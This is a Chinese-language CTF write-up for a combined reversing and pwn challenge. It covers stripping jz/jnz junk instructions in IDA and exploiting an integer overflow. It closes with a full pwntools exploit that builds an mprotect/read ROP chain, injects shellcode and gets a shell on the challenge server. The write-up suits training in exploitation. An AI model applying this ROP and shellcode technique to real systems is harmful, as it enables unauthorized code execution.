re是时候该学学了,不能只局限于pwn啊,搞二进制的,逆向是最重要的基本功。
不得不说,内部赛这三题都不是善茬,第一题考ret2csu,第二题考MIPS架构下栈溢出,这第三题直接就re和pwn合体了。。。
首先映入眼帘的是main函数,但奇怪的是’F5大法’貌似失效了(按键已经按烂了),失效就算了还没给任何报错提示。。。虽然之前也遇到过这种情况,但报错信息显示是因为某处指令为call了一个寄存器,ida无法反汇编出来,这种题一般属于ret2shellcode的题。那现在我们只好一步步分析汇编代码,这里scanf后跳转到了一个地方(奇怪,这个jz和jnz就挺莫名其妙的),继续跟进
这里先做了个判断,如果之前scanf的值大于0xA则程序终止,反之根据那个值来read。我在没意识到这是个花指令题之前,以为是一道纯读汇编代码的题,直觉告诉我%d意味着这可能要用到整数溢出,但我证明不出来,遂罢。
现在让我们再回到那个奇怪的jz和jnz那里,这其实相当于一个jmp,但是如果直接用jmp的话,反编译器其实是能识别出这一种最简单的花指令的。这个花指令对应的结构如下:
asm { jz Label jnz Label db thunkcode;垃圾数据 Label: }
于是我们把这一段花指令给nop掉,这样main函数的执行逻辑就干净多了
但nop之后,发现还是不能‘F5大法’,这是为什么呢?原因在于左侧function栏ida不认为main函数存在,所以无法反汇编这一段区域
这里我们只要改sub_400A30的start address为main函数的起始地址0x4009AE即可,也可以顺便把name也改为main,之后就能惊奇的发现,左边text段标识变黑色了,可以反汇编了
可以看到scanf是%d,比较时是int,但v17的数据类型却是unsigned int,后面的read也是unsigned int,这就出现了整数溢出问题。在开始构造payload之前,要说明这个文件是静态编译的,无法进行ret2libc,但同时也给我们提供了大量的ROPgadget。进过寻找,没有发现system函数,于是只能ret2shellcode来进行系统调用了,不过未发现可执行可写入程序段,那该怎么办呢,这时拿出一个利器,mprotect函数,原型如下:
int mprotect(void *addr, size_t len, int prot);
addr 内存启始地址
len 修改内存的长度
prot 内存的权限
注意:起始地址(addr)必须为一个内存页(4K)的起始地址(地址后三位为000);prot设置为7,意为赋予可读可写可执行权限。
好的,现在假设我们已经mprotect完,并且已经向那个addr写入shellcode了,该怎么去执行它呢,这里我只想出了两种思路,1.栈迁移,2.ret2reg。我觉得2简单一些,就用2了。
这里ROPgadget搜call出来,发现寄存器应有尽有啊。
直接给出exp了,至于最后为什么选择了call rsi,可以好好想想哦:
from pwn import *
#io = process('./flower')
io = remote('pwn.challenge.ctf.show',28257)
elf = ELF('./flower')
context.arch = 'amd64'
context.log_level = 'debug'
io.sendlineafter(b'Plz Input Your weight(kg):\n> ',b'-1')
read = elf.symbols['read']
mprotect = elf.symbols['mprotect']
pop_rdi = 0x401696
pop_rdx_rsi = 0x442e69
bss = elf.get_section_by_name('.bss').header.sh_addr #0x6CBB60
start = 0x6cb000
payload = cyclic(0x50+8) + p64(pop_rdi) + p64(start) + p64(pop_rdx_rsi) + p64(7) + p64(0x100) + p64(mprotect) #mprotect()
payload+= p64(pop_rdi) + p64(0) + p64(pop_rdx_rsi) + p64(0x100) + p64(start) + p64(read) #read()
call_rsi = 0x40e1e1
payload+= p64(call_rsi)
io.recvuntil(b'your name??\n> ')
io.sendline(payload)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()